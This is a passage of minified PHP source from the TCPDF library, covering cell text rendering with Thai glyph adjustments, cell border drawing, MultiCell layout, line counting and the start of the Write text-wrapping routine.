(K_THAI_TOPCHARS==true)){$numchars=count($unicode);$longtail=array(0x0e1b,0x0e1d,0x0e1f);$lowtail=array(0x0e0e,0x0e0f);$upvowel=array(0x0e31,0x0e34,0x0e35,0x0e36,0x0e37);$tonemark=array(0x0e48,0x0e49,0x0e4a,0x0e4b,0x0e4c);$lowvowel=array(0x0e38,0x0e39,0x0e3a);$output=array();for($i=0;$i<$numchars;$i++){if(($unicode[$i]>=0x0e00)&&($unicode[$i]<=0x0e5b)){$ch0=$unicode[$i];$ch1=($i>0)?$unicode[($i-1)]:0;$ch2=($i>1)?$unicode[($i-2)]:0;$chn=($i<($numchars-1))?$unicode[($i+1)]:0;if(in_array($ch0,$tonemark)){if($chn==0x0e33){if(in_array($ch1,$longtail)){$output[]=$this->replaceChar($ch0,(0xf713+$ch0-0x0e48));}else {$output[]=$ch0;}}elseif(in_array($ch1,$longtail) OR (in_array($ch2,$longtail) AND in_array($ch1,$lowvowel))){$output[]=$this->replaceChar($ch0,(0xf705+$ch0-0x0e48));}elseif(in_array($ch1,$upvowel)){if(in_array($ch2,$longtail)){$output[]=$this->replaceChar($ch0,(0xf713+$ch0-0x0e48));}else {$output[]=$ch0;}}else {$output[]=$this->replaceChar($ch0,(0xf70a+$ch0-0x0e48));}}elseif(($ch0==0x0e33) AND (in_array($ch1,$longtail) OR (in_array($ch2,$longtail) AND in_array($ch1,$tonemark)))){if($this->isCharDefined(0xf711) AND $this->isCharDefined(0x0e32)){$output[]=0xf711;$this->CurrentFont['subsetchars'][0xf711]=true;$output[]=0x0e32;$this->CurrentFont['subsetchars'][0x0e32]=true;}else {$output[]=$ch0;}}elseif(in_array($ch1,$longtail)){if($ch0==0x0e31){$output[]=$this->replaceChar($ch0,0xf710);}elseif(in_array($ch0,$upvowel)){$output[]=$this->replaceChar($ch0,(0xf701+$ch0-0x0e34));}elseif($ch0==0x0e47){$output[]=$this->replaceChar($ch0,0xf712);}else {$output[]=$ch0;}}elseif(in_array($ch1,$lowtail) AND in_array($ch0,$lowvowel)){$output[]=$this->replaceChar($ch0,(0xf718+$ch0-0x0e38));}elseif(($ch0==0x0e0d) AND in_array($chn,$lowvowel)){$output[]=$this->replaceChar($ch0,0xf70f);}elseif(($ch0==0x0e10) AND in_array($chn,$lowvowel)){$output[]=$this->replaceChar($ch0,0xf700);}else {$output[]=$ch0;}}else {$output[]=$unicode[$i];}}$unicode=$output;$this->setFontSubBuffer($this->CurrentFont['fontkey'],'subsetchars',$this->CurrentFont['subsetchars']);}$txt2=TCPDF_FONTS::arrUTF8ToUTF16BE($unicode,false);}}$txt2=TCPDF_STATIC::_escape($txt2);$txwidth=$this->GetStringWidth($txt);$width=$txwidth;if($stretch>0){if($width<=0){$ratio=1;}else {$ratio=(($w-$this->cell_padding['L']-$this->cell_padding['R'])/$width);}if(($ratio<1) OR (($ratio>1) AND (($stretch%2)==0))){if($stretch>2){$this->font_spacing+=($w-$this->cell_padding['L']-$this->cell_padding['R']-$width)/(max(($this->GetNumChars($txt)-1),1)*($this->font_stretching/100));}else {$this->font_stretching*=$ratio;}$width=$w-$this->cell_padding['L']-$this->cell_padding['R'];$align='';}}if($this->font_stretching!=100){$rs.=sprintf('BT %F Tz ET ',$this->font_stretching);}if($this->font_spacing!=0){$rs.=sprintf('BT %F Tc ET ',($this->font_spacing*$this->k));}if($this->ColorFlag AND ($this->textrendermode<4)){$s.='q '.$this->TextColor.' ';}$s.=sprintf('BT %d Tr %F w ET ',$this->textrendermode,($this->textstrokewidth*$this->k));$ns=substr_count($txt,chr(32));$spacewidth=0;if(($align=='J') AND ($ns>0)){if($this->isUnicodeFont()){$width=$this->GetStringWidth(str_replace(' ','',$txt));$spacewidth=-1000*($w-$width-$this->cell_padding['L']-$this->cell_padding['R'])/($ns?$ns:1)/($this->FontSize?$this->FontSize:1);if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$txt2=str_replace(chr(0).chr(32),') '.sprintf('%F',$spacewidth).' (',$txt2);$unicode_justification=true;}else {$width=$txwidth;$spacewidth=(($w-$width-$this->cell_padding['L']-$this->cell_padding['R'])/($ns?$ns:1))*$this->k;if($this->font_stretching!=100){$spacewidth/=($this->font_stretching/100);}$rs.=sprintf('BT %F Tw ET ',$spacewidth);}$width=$w-$this->cell_padding['L']-$this->cell_padding['R'];}$txt2=str_replace("
",' ',$txt2);switch($align){case 'C':{$dx=($w-$width)/2;break;}case 'R':{if($this->rtl){$dx=$this->cell_padding['R'];}else {$dx=$w-$width-$this->cell_padding['R'];}break;}case 'L':{if($this->rtl){$dx=$w-$width-$this->cell_padding['L'];}else {$dx=$this->cell_padding['L'];}break;}case 'J':default:{if($this->rtl){$dx=$this->cell_padding['R'];}else {$dx=$this->cell_padding['L'];}break;}}if($this->rtl){$xdx=$x-$dx-$width;}else {$xdx=$x+$dx;}$xdk=$xdx*$k;$s.=sprintf('BT %F %F Td [(%s)] TJ ET',$xdk,(($this->h-$basefonty)*$k),$txt2);if(isset($uniblock)){$xshift=0;$ty=(($this->h-$basefonty+(0.2*$this->FontSize))*$k);$spw=(($w-$txwidth-$this->cell_padding['L']-$this->cell_padding['R'])/($ns?$ns:1));foreach($uniblock as $uk=>$uniarr){if(($uk%2)==0){if($spacewidth!=0){$xshift+=(count(array_keys($uniarr,32))*$spw);}$xshift+=$this->GetArrStringWidth($uniarr);}else {$topchr=TCPDF_FONTS::arrUTF8ToUTF16BE($uniarr,false);$topchr=TCPDF_STATIC::_escape($topchr);$s.=sprintf(' BT %F %F Td [(%s)] TJ ET',($xdk+($xshift*$k)),$ty,$topchr);}}}if($this->underline){$s.=' '.$this->_dounderlinew($xdx,$basefonty,$width);}if($this->linethrough){$s.=' '.$this->_dolinethroughw($xdx,$basefonty,$width);}if($this->overline){$s.=' '.$this->_dooverlinew($xdx,$basefonty,$width);}if($this->ColorFlag AND ($this->textrendermode<4)){$s.=' Q';}if($link){$this->Link($xdx,$yt,$width,($this->FontAscent+$this->FontDescent),$link,$ns);}}if($s){$rs.=$s;if($this->font_spacing!=0){$rs.=' BT 0 Tc ET';}if($this->font_stretching!=100){$rs.=' BT 100 Tz ET';}}if(!$this->isUnicodeFont() AND ($align=='J')){$rs.=' BT 0 Tw ET';}$this->font_stretching=$prev_font_stretching;$this->font_spacing=$prev_font_spacing;$this->lasth=$h;if($ln>0){$this->y=$y+$h+$this->cell_margin['B'];if($ln==1){if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}}}else {if($this->rtl){$this->x=$x-$w-$this->cell_margin['L'];}else {$this->x=$x+$w+$this->cell_margin['R'];}}$gstyles=''.$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' '.$this->FillColor."
";$rs=$gstyles.$rs;$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;return $rs;} function replaceChar($oldchar,$newchar){if($this->isCharDefined($newchar)){$this->CurrentFont['subsetchars'][$newchar]=true;return $newchar;}return $oldchar;} function getCellBorder($x,$y,$w,$h,$brd){$s='';if(empty($brd)){return $s;}if($brd==1){$brd=array('LRTB'=>true);}$k=$this->k;if($this->rtl){$xeL=($x-$w)*$k;$xeR=$x*$k;}else {$xeL=$x*$k;$xeR=($x+$w)*$k;}$yeL=(($this->h-($y+$h))*$k);$yeT=(($this->h-$y)*$k);$xeT=$xeL;$xeB=$xeR;$yeR=$yeT;$yeB=$yeL;if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=array('cap'=>'square','join'=>'miter');}$brd=$newbrd;}if(isset($brd['mode'])){$mode=$brd['mode'];unset($brd['mode']);}else {$mode='normal';}foreach($brd as $border=>$style){if(is_array($style) AND !empty($style)){$prev_style=$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor.' ';$s.=$this->SetLineStyle($style,true)."
";}switch($mode){case 'ext':{$off=(($this->LineWidth/2)*$k);$xL=$xeL-$off;$xR=$xeR+$off;$yT=$yeT+$off;$yL=$yeL-$off;$xT=$xL;$xB=$xR;$yR=$yT;$yB=$yL;$w+=$this->LineWidth;$h+=$this->LineWidth;break;}case 'int':{$off=($this->LineWidth/2)*$k;$xL=$xeL+$off;$xR=$xeR-$off;$yT=$yeT-$off;$yL=$yeL+$off;$xT=$xL;$xB=$xR;$yR=$yT;$yB=$yL;$w-=$this->LineWidth;$h-=$this->LineWidth;break;}case 'normal':default:{$xL=$xeL;$xT=$xeT;$xB=$xeB;$xR=$xeR;$yL=$yeL;$yT=$yeT;$yB=$yeB;$yR=$yeR;break;}}if(strlen($border)==4){$s.=sprintf('%F %F %F %F re S ',$xT,$yT,($w*$k),(-$h*$k));}elseif(strlen($border)==3){if(strpos($border,'B')===false){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif(strpos($border,'L')===false){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}elseif(strpos($border,'T')===false){$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';}elseif(strpos($border,'R')===false){$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';}}elseif(strlen($border)==2){if((strpos($border,'L')!==false) AND (strpos($border,'T')!==false)){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';}elseif((strpos($border,'T')!==false) AND (strpos($border,'R')!==false)){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif((strpos($border,'R')!==false) AND (strpos($border,'B')!==false)){$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}elseif((strpos($border,'B')!==false) AND (strpos($border,'L')!==false)){$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';}elseif((strpos($border,'L')!==false) AND (strpos($border,'R')!==false)){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif((strpos($border,'T')!==false) AND (strpos($border,'B')!==false)){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}}else {if(strpos($border,'L')!==false){$s.=sprintf('%F %F m ',$xL,$yL);$s.=sprintf('%F %F l ',$xT,$yT);$s.='S ';}elseif(strpos($border,'T')!==false){$s.=sprintf('%F %F m ',$xT,$yT);$s.=sprintf('%F %F l ',$xR,$yR);$s.='S ';}elseif(strpos($border,'R')!==false){$s.=sprintf('%F %F m ',$xR,$yR);$s.=sprintf('%F %F l ',$xB,$yB);$s.='S ';}elseif(strpos($border,'B')!==false){$s.=sprintf('%F %F m ',$xB,$yB);$s.=sprintf('%F %F l ',$xL,$yL);$s.='S ';}}if(is_array($style) AND !empty($style)){$s.="
".$this->linestyleWidth.' '.$this->linestyleCap.' '.$this->linestyleJoin.' '.$this->linestyleDash.' '.$this->DrawColor."
";}}return $s;} function MultiCell($w,$h,$txt,$border=0,$align='J',$fill=false,$ln=1,$x='',$y='',$reseth=true,$stretch=0,$ishtml=false,$autopadding=true,$maxh=0,$valign='T',$fitcell=false){$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$this->adjustCellPadding($border);$mc_padding=$this->cell_padding;$mc_margin=$this->cell_margin;$this->cell_padding['T']=0;$this->cell_padding['B']=0;$this->setCellMargins(0,0,0,0);if(TCPDF_STATIC::empty_string($this->lasth) OR $reseth){$this->resetLastH();}if(!TCPDF_STATIC::empty_string($y)){$this->SetY($y);}else {$y=$this->GetY();}$resth=0;if(($h>0) AND $this->inPageBody() AND (($y+$h+$mc_margin['T']+$mc_margin['B'])>$this->PageBreakTrigger)){$newh=($this->PageBreakTrigger-$y);$resth=($h-$newh);$h=$newh;}$startpage=$this->page;$startcolumn=$this->current_column;if(!TCPDF_STATIC::empty_string($x)){$this->SetX($x);}else {$x=$this->GetX();}list($x,$y)=$this->checkPageRegions(0,$x,$y);$oy=$y+$mc_margin['T'];if($this->rtl){$ox=($this->w-$x-$mc_margin['R']);}else {$ox=($x+$mc_margin['L']);}$this->x=$ox;$this->y=$oy;if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=($this->x-$this->lMargin-$mc_margin['L']);}else {$w=($this->w-$this->x-$this->rMargin-$mc_margin['R']);}}$lMargin=$this->lMargin;$rMargin=$this->rMargin;if($this->rtl){$this->rMargin=($this->w-$this->x);$this->lMargin=($this->x-$w);}else {$this->lMargin=($this->x);$this->rMargin=($this->w-$this->x-$w);}$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;if($autopadding){$this->y+=$mc_padding['T'];}if($ishtml){$this->writeHTML($txt,true,false,$reseth,true,$align);$nl=1;}else {$prev_FontSizePt=$this->FontSizePt;if($fitcell){$tobottom=($this->h-$this->y-$this->bMargin-$this->cell_padding['T']-$this->cell_padding['B']);$h=$maxh=max(min($h,$tobottom),min($maxh,$tobottom));}if($maxh>0){$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);if($fitcell AND ($text_height>$maxh) AND ($this->FontSizePt>1)){$fmin=1;$fmax=$this->FontSizePt;$diff_epsilon=(1/$this->k);$maxit=(2*min(100,max(10,intval($fmax))));while($maxit>=0){$fmid=(($fmax+$fmin)/2);$this->SetFontSize($fmid,false);$this->resetLastH();$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);$diff=($maxh-$text_height);if($diff>=0){if($diff<=$diff_epsilon){break;}$fmin=$fmid;}else {$fmax=$fmid;}--$maxit;}if($maxit<0){$this->SetFontSize($fmin);$this->resetLastH();$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);}else {$this->SetFontSize($fmid);$this->resetLastH();}}if($text_height<$maxh){if($valign=='M'){$this->y+=(($maxh-$text_height)/2);}elseif($valign=='B'){$this->y+=($maxh-$text_height);}}}$nl=$this->Write($this->lasth,$txt,'',0,$align,true,$stretch,false,true,$maxh,0,$mc_margin);if($fitcell){$this->SetFontSize($prev_FontSizePt);}}if($autopadding){$this->y+=$mc_padding['B'];}$currentY=$this->y;$endpage=$this->page;if($resth>0){$skip=($endpage-$startpage);$tmpresth=$resth;while($tmpresth>0){if($skip<=0){$this->checkPageBreak($this->PageBreakTrigger+1);}if($this->num_columns>1){$tmpresth-=($this->h-$this->y-$this->bMargin);}else {$tmpresth-=($this->h-$this->tMargin-$this->bMargin);}--$skip;}$currentY=$this->y;$endpage=$this->page;}$endcolumn=$this->current_column;if($this->num_columns==0){$this->num_columns=1;}$check_page_regions=$this->check_page_regions;$this->check_page_regions=false;$border_start=TCPDF_STATIC::getBorderMode($border,$position='start',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position='end',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);for($page=$startpage;$page<=$endpage;++$page){$ccode='';$this->setPage($page);if($this->num_columns<2){$this->SetX($x);$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x-=($this->pagedim[$page]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$page]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$page]['olm']-$this->pagedim[$startpage]['olm']);}}if($startpage==$endpage){for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}if($startcolumn==$endcolumn){$cborder=$border;$h=max($h,($currentY-$oy));$this->y=$oy;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$oy;$h=$this->h-$this->y-$this->bMargin;}elseif($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;if($resth>$h){$h=$resth;}}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$startpage){for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}if($column==$startcolumn){$cborder=$border_start;$this->y=$oy;$h=$this->h-$this->y-$this->bMargin;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$endpage){for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}if($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;if($resth>$h){$h=$resth;}}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}else {for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin['R'];}else {$this->x+=$mc_margin['L'];}$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}if($cborder OR $fill){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid]['transfmrk']);$pagemark=$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey];$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid]['intmrk'];$this->xobjects[$this->xobjid]['intmrk']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid]['outdata'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid]['outdata']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];$this->transfmrk[$this->page][$pagemarkkey]+=$offsetlen;}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];$this->footerpos[$this->page]+=$offsetlen;}else {$pagemark=$this->intmrk[$this->page];$this->intmrk[$this->page]+=$offsetlen;}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);}}}$this->check_page_regions=$check_page_regions;$currentY=$this->GetY();if($this->num_columns>1){$this->selectColumn();}else {$this->lMargin=$lMargin;$this->rMargin=$rMargin;if($this->page>$startpage){$dl=($this->pagedim[$this->page]['olm']-$this->pagedim[$startpage]['olm']);$dr=($this->pagedim[$this->page]['orm']-$this->pagedim[$startpage]['orm']);if(($dl!=0) OR ($dr!=0)){$this->lMargin+=$dl;$this->rMargin+=$dr;}}}if($ln>0){$this->SetY($currentY+$mc_margin['B']);if($ln==2){$this->SetX($x+$w+$mc_margin['L']+$mc_margin['R']);}}else {$this->setPage($startpage);$this->y=$y;$this->SetX($x+$w+$mc_margin['L']+$mc_margin['R']);}$this->setContentMark();$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;return $nl;} function getNumLines($txt,$w=0,$reseth=false,$autopadding=true,$cellpadding='',$border=0){if($txt===NULL){return 0;}if($txt===''){return 1;}$prev_cell_padding=$this->cell_padding;$prev_lasth=$this->lasth;if(is_array($cellpadding)){$this->cell_padding=$cellpadding;}$this->adjustCellPadding($border);if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}}$wmax=$w-$this->cell_padding['L']-$this->cell_padding['R'];if($reseth){$this->resetLastH();}$lines=1;$sum=0;$chars=TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($txt,$this->isunicode,$this->CurrentFont),$txt,$this->tmprtl,$this->isunicode,$this->CurrentFont);$charsWidth=$this->GetArrStringWidth($chars,'','',0,true);$length=count($chars);$lastSeparator=-1;for($i=0;$i<$length;++$i){$c=$chars[$i];$charWidth=$charsWidth[$i];if(($c!=160) AND (($c==173) OR preg_match($this->re_spaces,TCPDF_FONTS::unichr($c,$this->isunicode)) OR (($c==45) AND ($i>0) AND ($i<($length-1)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($chars[($i-1)],$this->isunicode)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($chars[($i+1)],$this->isunicode))))){$lastSeparator=$i;}if((($sum+$charWidth)>$wmax) OR ($c==10)){++$lines;if($c==10){$lastSeparator=-1;$sum=0;}elseif($lastSeparator!=-1){$i=$lastSeparator;$lastSeparator=-1;$sum=0;}else {$sum=$charWidth;}}else {$sum+=$charWidth;}}if($chars[($length-1)]==10){--$lines;}$this->cell_padding=$prev_cell_padding;$this->lasth=$prev_lasth;return $lines;} function getStringHeight($w,$txt,$reseth=false,$autopadding=true,$cellpadding='',$border=0){$prev_cell_padding=$this->cell_padding;$prev_lasth=$this->lasth;if(is_array($cellpadding)){$this->cell_padding=$cellpadding;}$this->adjustCellPadding($border);$lines=$this->getNumLines($txt,$w,$reseth,$autopadding,$cellpadding,$border);$height=$this->getCellHeight(($lines*$this->FontSize),$autopadding);$this->cell_padding=$prev_cell_padding;$this->lasth=$prev_lasth;return $height;} function Write($h,$txt,$link='',$fill=false,$align='',$ln=false,$stretch=0,$firstline=false,$firstblock=false,$maxh=0,$wadj=0,$margin=''){list($this->x,$this->y)=$this->checkPageRegions($h,$this->x,$this->y);if(strlen($txt)==0){$txt=' ';}if($margin===''){$margin=$this->cell_margin;}$s=str_replace("
",'',$txt);$arabic=false;$rtlmode=false;$chrwidth=$this->GetCharWidth(46);$chars=TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont);$chrw=$this->GetArrStringWidth($chars,'','',0,true);array_walk($chrw,array($this,'getRawCharWidth'));$maxchwidth=max($chrw);$uchars=TCPDF_FONTS::UTF8ArrayToUniArray($chars,$this->isunicode);$nb=count($chars);$shy_replacement=45;$shy_replacement_char=TCPDF_FONTS::unichr($shy_replacement,$this->isunicode);$shy_replacement_width=$this->GetCharWidth($shy_replacement);$pw=$w=$this->w-$this->lMargin-$this->rMargin;if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}$wmax=($w-$wadj);if(!$firstline){$wmax-=($this->cell_padding['L']+$this->cell_padding['R']);}if((!$firstline) AND (($chrwidth>$wmax) OR ($maxchwidth>$wmax))){return '';}$row_height=max($h,$this->getCellHeight($this->FontSize));$maxy=$this->y+$maxh-max($row_height,$h);$start_page=$this->page;$i=0;$j=0;$sep=-1;$prevsep=$sep;$shy=false;$prevshy=$shy;$l=0;$nl=0;$linebreak=false;$pc=0;while($i<$nb){if(($maxh>0) AND ($this->y>$maxy)){break;}$c=$chars[$i];if($c==10){if($align=='J'){if($this->rtl){$talign='R';}else {$talign='L';}}else {$talign=$align;}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}if(!empty($tmpstr) OR ($this->y<($this->PageBreakTrigger-$row_height))){$this->Cell($w,$h,$tmpstr,0,1,$talign,$fill,$link,$stretch);}unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}++$nl;$j=$i+1;$l=0;$sep=-1;$prevsep=$sep;$shy=false;if((($this->y+$this->lasth)>$this->PageBreakTrigger) AND ($this->inPageBody())){$this->AcceptPageBreak();if($this->rtl){$this->x-=$margin['R'];}else {$this->x+=$margin['L'];}$this->lMargin+=$margin['L'];$this->rMargin+=$margin['R'];}$w=$this->getRemainingWidth();$wmax=($w-$this->cell_padding['L']-$this->cell_padding['R']);}else {if(($c!=160) AND (($c==173) OR preg_match($this->re_spaces,TCPDF_FONTS::unichr($c,$this->isunicode)) OR (($c==45) AND ($i<($nb-1)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($pc,$this->isunicode)) AND @preg_match('/[\p{L}]/'.$this->re_space['m'],TCPDF_FONTS::unichr($chars[($i+1)],$this->isunicode))))){$prevsep=$sep;$sep=$i;if(($c==173) OR ($c==45)){$prevshy=$shy;$shy=true;if($pc==45){$tmp_shy_replacement_width=0;$tmp_shy_replacement_char='';}else {$tmp_shy_replacement_width=$shy_replacement_width;$tmp_shy_replacement_char=$shy_replacement_char;}}else {$shy=false;}}if($this->isUnicodeFont() AND ($arabic)){$l=$this->GetArrStringWidth(TCPDF_FONTS::utf8Bidi(array_slice($chars,$j,($i-$j)),'',$this->tmprtl,$this->isunicode,$this->CurrentFont));}else {$l+=$this->GetCharWidth($c);}if(($l>$wmax) OR (($c==173) AND (($l+$tmp_shy_replacement_width)>=$wmax))){if(($c==173) AND (($l+$tmp_shy_replacement_width)>$wmax)){$sep=$prevsep;$shy=$prevshy;}if($sep==-1){if(($this->rtl AND ($this->x<=($this->w-$this->rMargin-$this->cell_padding['R']-$margin['R']-$chrwidth))) OR ((!$this->rtl) AND ($this->x>=($this->lMargin+$this->cell_padding['L']+$margin['L']+$chrwidth)))){$this->Cell($w,$h,'',0,1);$linebreak=true;if($firstline){return (TCPDF_FONTS::UniArrSubString($uchars,$j));}}else {$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}$j=$i;--$i;}}else {if($this->rtl AND (!$firstblock) AND ($sep<$i)){$endspace=1;}else {$endspace=0;}$strrest=TCPDF_FONTS::UniArrSubString($uchars,($sep+$endspace));$nextstr=TCPDF_STATIC::pregSplit('/'.$this->re_space['p'].'/',$this->re_space['m'],$this->stringTrim($strrest));if(isset($nextstr[0]) AND ($this->GetStringWidth($nextstr[0])>$pw)){$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=($startx-$linew);}else {$this->endlinex=($startx+$linew);}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}$j=$i;--$i;}else {if($shy){$shy_width=$tmp_shy_replacement_width;if($this->rtl){$shy_char_left=$tmp_shy_replacement_char;$shy_char_right='';}else {$shy_char_left='';$shy_char_right=$tmp_shy_replacement_char;}}else 